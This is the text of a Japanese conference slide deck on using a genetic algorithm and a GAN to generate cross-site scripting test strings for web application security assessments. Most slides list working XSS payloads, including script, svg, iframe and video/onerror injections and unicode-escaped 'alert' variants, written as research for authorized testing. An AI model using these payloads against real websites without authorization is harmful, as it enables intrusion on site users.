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2017.09.30
Machine Learning 15minutes! #16
Presented by Isao Takaesu
機械学習とサイバーセキュリティ
- GAとGANによる検査値の自動生成 -
About the speaker
• 職業 : セキュリティエンジニア
• 所属 : 三井物産セキュアディレクション
• 趣味 : 脆弱性スキャナ作り、機械学習
• ブログ: http://www.mbsd.jp/blog/
• Black Hat Asia Arsenal, CODE BLUE / 2016
• 情報セキュリティEXPO, PYCON JP / 2017
• 勉強会「AISECjp」を主催
高江洲 勲
Takaesu Isao
ML15minutes!
Twitter: @bbr_bbq
MBSD
ML15minutes!MBSD
検証成果
http://www.mbsd.jp/insight.html
・White paper
・Blog
https://www.mbsd.jp/blog/takaesu_index.html
ML15minutes!MBSD
Webアプリケーション診断に必要な、
脆弱性の検査値を自動生成する。
本日のお話し
Webアプリケーション診断とは…
Webアプリの脆弱性を検出
Webアプリケーション診断とは?
MBSD ML15minutes!
Webアプリケーション診断
MBSD
診断員
Web Server
Web Apps
Fire wall
診断ベンダ 顧客
1. 疑似攻撃
SQLi?
XSS?
2. 反応の分析
1. 様々な検査値を使用してWebアプリを疑似攻撃
2. Webアプリの反応を分析して脆弱性有無を判定
ML15minutes!
多くの脆弱性を検出するには、検査値の充実が必須。
検査値って何?
<script>alert();</script>
<img[Sp]src=x[Sp]onerror=alert();>
</textarea><script>alert();</script>
"><script>alert();</script>
'--><script>prompt();</script>
"><frame[Sp]src="javascript:prompt()">
';[Sp]alert();//
[CrLf][Sp]MsgBox[Sp]Document.Domain
javascript:alert``;
・・・
Webアプリに潜む脆弱性を検出する文字列。
パターンが豊富であり、作成にはノウハウが必要。
MBSD ML15minutes!
例)Cross-Site Scripting(XSS)の検査値
ML15minutes!MBSD
どうやって自動生成する?
ML15minutes!
検査値の自動生成手法
MBSD
・遺伝的アルゴリズム (Genetic Algorithm:GA)
・Generative Adversarial Networks (GAN)
ML15minutes!
生成手順
MBSD
1.GAで検査値を幾つか生成(5~6パターンくらい)
2.GANで(1の検査値を基に)大量の検査値を生成
ML15minutes!
生成手順
MBSD
1.GAで検査値を幾つか生成(5~6パターンくらい)
2.GANで(1の検査値を基に)大量の検査値を生成
ML15minutes!
遺伝的アルゴリズム(Genetic Algorithm:GA)
MBSD
進化計算を繰り返し、最適な遺伝子の組み合わせの個体を探索。
Initialization Fitness/Evaluation
CrossoverMutation
Individual
● ▲ ■ × ★Gene
Selection
Generation
alternation
ML15minutes!
GAによる検査値の生成方法
MBSD
・XSSの検査値の一例
“><script>alert();</script>
<object data=xss.html>
<svg/onload=al¥u0065rt();>
<video><source onerror=confirm(1);>
<iframe onload=alert();>
・・・
検査値はHTMLやJavaScriptの要素の組み合わせで構成。
ML15minutes!
GAによる検査値の生成方法
MBSD
・XSSの検査値の一例
[“], [>], [<script>], [alert();], [</script>]
[<object], [data=], [xss.html], [>]
[<svg], [/], [onload=], [al¥u0065rt();], [>]
[<video>], [<source], [onerror=], [confirm(1);], [>]
[<iframe], [onload=], [alert();], [>]
各検査値の最小要素を遺伝子として定義。
遺伝子の最適な組み合わせを持った個体を探索。
ML15minutes!
GAによる検査値の生成方法
MBSD
MDN docs等から最小要素を収集し、約220種類の遺伝子を定義。
・遺伝子リスト
ML15minutes!
GAによる検査値の生成方法
MBSD
・生成手順の詳細
日本語:https://www.mbsd.jp/blog/20170821.html
English:https://www.mbsd.jp/blog/20170921.html
ML15minutes!
GAによる検査値の生成方法
MBSD
進化計算を繰り返すことで、約6種類の検査値を生成。
※計算時間は各5時間程度
No 検査値
1 <script>al¥u0065rt``;</script>
2 <iframe/onload=alert();><select/cols=
3 <svg/onload=alert();></iframe><q
4 <video><source onerror=confirm(1);>
5 <body onload=alert();><form </thead>
6 <video><source onerror=alert();src=x <video>
・GAで生成した検査値例
ML15minutes!
GAによる検査値の生成方法
MBSD
進化計算を繰り返すことで、約6種類の検査値を生成。
※計算時間は各5時間程度 ⇒ あまり効率的ではない・・・
No 検査値
1 <script>al¥u0065rt``;</script>
2 <iframe/onload=alert();><select/cols=
3 <svg/onload=alert();></iframe><q
4 <video><source onerror=confirm(1);>
5 <body onload=alert();><form </thead>
6 <video><source onerror=alert();src=x <video>
・GAで生成した検査値例
ML15minutes!
生成手順
MBSD
1.GAで検査値を幾つか(5~6パターンくらい)生成
2.GANで(1の検査値を基に)大量の検査値を生成
ML15minutes!
Generative Adversarial Networks:GAN
MBSD
訓練データを模倣したfakeデータを大量に生成。
・
・
・
Noise (Z)
Generator (G)
・
・
・
Generative
Data : G(z)
・
・
・
・
・
・
Train Data
Train Data
・・・
Discriminator (D)
Probability
True?
X
Dを騙す G(z)を見破る
ML15minutes!
GANの利用例
MBSD
学習を重ねることで、徐々に訓練データに近似したデータを生成。
・訓練データ
・GANで生成したデータ
ML15minutes!
GANによる検査値の生成方法
MBSD
・
・
・
Noise (Z)
Generator (G)
・
・
・
Generative
Data : G(z)
・
・
・
・
・
・
Train Data
Train Data
・・・
Discriminator (D)
Genetic Algorithm
Probability
True?
GAN
”GAの検査値“を訓練データにし、様々な検査値を生成。
ML15minutes!
GANで生成した検査値(1/6)
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:<script>alert();</script></table><hr/
---------------------------------------------------
生成データ:
<script>alert``;</script><table/</td>
<script>al¥u0065rt();</script></tr><th/
<script>prompt(1);</script><th/<col/
<script>confirm(1);</script><thead <table/
・・・
・GANの学習過程で生成された検査値
ML15minutes!
GANで生成した検査値(2/6)
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:<iframe/onload=alert();><select/
---------------------------------------------------
生成データ:
colspan=<iframe <a onload=al¥u0065rt();>
<object/onload="onfocus=alert();"<script type="text/javascript">
<iframe onload=alert``; /><select
icon=<iframe/<img onload=al¥u0065rt();>
・・・
・GANの学習過程で生成された検査値
ML15minutes!
GANで生成した検査値(2/6)
MBSD
訓練データに含まれないHTMLタグを使った検査値も生成。
検査値
訓練データ:<iframe/onload=alert();><select/
---------------------------------------------------
生成データ:
colspan=<iframe <a onload=al¥u0065rt();>
<object/onload="onfocus=alert();"<script type="text/javascript">
<iframe onload=alert``; /><select
icon=<iframe/<img onload=al¥u0065rt();>
・・・
・GANの学習過程で生成された検査値
ML15minutes!
GANで生成した検査値(3/6)
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:<svg/<canvas/<select/onload=confirm(1);>
---------------------------------------------------
生成データ:
<svg/onload="¥u0061lert();"></output>
<object/src=x onload=alert();¥n<script type="text/javascript">
<script/src="data:text/html,alert();"<script></script>
<svg/onload=confirm(1);>
・・・
・GANの学習過程で生成された検査値
ML15minutes!
GANで生成した検査値(3/6)
MBSD
検査値
訓練データ:<svg/<canvas/<select/onload=confirm(1);>
---------------------------------------------------
生成データ:
<svg/onload="¥u0061lert();"></output>
<object/src=x onload=alert();¥n<script type="text/javascript">
<script/src="data:text/html,alert();"<script></script>
<svg/onload=confirm(1);>
・・・
・GANの学習過程で生成された検査値
訓練データに含まれないHTMLタグを使った検査値も生成。
ML15minutes!
GANで生成した検査値(4/6)
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:<video><source onerror=confirm(1);>
---------------------------------------------------
生成データ:
<video><source onerror="¥u0061lert``;">
<video><source onerror="al¥u0065rt``;">
<video><source/onerror=alert();>
<video><source onerror=prompt(1);>
・・・
・GANの学習過程で生成された検査値
ML15minutes!
GANで生成した検査値(5/6)
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:icon=<iframe/<body onload=¥u0061lert();>
---------------------------------------------------
生成データ:
headers=<body/<body onload=alert();>
icon=<body <input/onload=confirm(1);>
kind=<body <img onload=alert``;>
<img src=x <keygen onerror=¥u0061lert``;>
・・・
・GANの学習過程で生成された検査値
ML15minutes!
GANで生成した検査値(5/6)
MBSD
検査値
訓練データ:icon=<iframe/<body onload=¥u0061lert();>
---------------------------------------------------
生成データ:
headers=<body/<body onload=alert();>
icon=<body <input/onload=confirm(1);>
kind=<body <img onload=alert``;>
<img src=x <keygen onerror=¥u0061lert``;>
・・・
・GANの学習過程で生成された検査値
訓練データに含まれないHTMLタグを使った検査値も生成。
ML15minutes!
GANで生成した検査値(6/6)
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:
<embed onload=alert();<script type="text/javascript">
---------------------------------------------------
生成データ:
<embed/onload=al¥u0065rt();¥n<script type="text/javascript">
<embed onload=alert``;¥n<script type="text/javascript">
<embed/onload=prompt(1);¥n<script type="text/javascript">
<embed/src=x onload=confirm(1);¥n<script type="text/javascript">
・・・
・GANの学習過程で生成された検査値
ML15minutes!MBSD
さらに検査値を増やす。
ML15minutes!
GANで追加生成した検査値
MBSD
訓練データに含まれないHTMLタグを使った検査値が生成される。
さらに、生成データを訓練データとする。以降、繰り返す・・・
検査値
訓練データ:
<object/src=x onload=alert();¥n<script type="text/javascript">
<script/src="data:text/html,alert();"<script></script>
<img src=x <keygen onerror=¥u0061lert``;>
---------------------------------------------------
生成データ:
<svg/onload=al¥u0065rt();¥n<script type="text/javascript">
<iframe/*/onload=charset=alert();>
<iframe src=x <keygen onload=alert();¥n<script></script>
<script/src="data:text/html,alert``;"&#x0D;<script></script>
・・・
1回目に生成された新しいパターンの検査値を訓練データとする。
ML15minutes!
GANで追加生成した検査値
MBSD
検査値の偏りを防ぐ効果。
HTML・JS・記号の全組み合わせ検査値を生成できる可能性。
検査値
訓練データ:
<object/src=x onload=alert();¥n<script type="text/javascript">
<script/src="data:text/html,alert();"<script></script>
<img src=x <keygen onerror=¥u0061lert``;>
---------------------------------------------------
生成データ:
<svg/onload=al¥u0065rt();¥n<script type="text/javascript">
<iframe/*/onload=charset=alert();>
<iframe src=x <keygen onload=alert();¥n<script></script>
<script/src="data:text/html,alert``;"&#x0D;<script></script>
・・・
1回目に生成された新しいパターンの検査値を訓練データとする。
ML15minutes!MBSD
・検査値の生成に業務ノウハウは不要
・効率よく大量の検査値を生成可能
・その他データの生成にも応用可能(要検証)
*GAによる組み合わせ最適 ⇒ GANで増やす
Summary
[検証用コード]
https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/Generator
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≫ https://www.slideshare.net/babaroa

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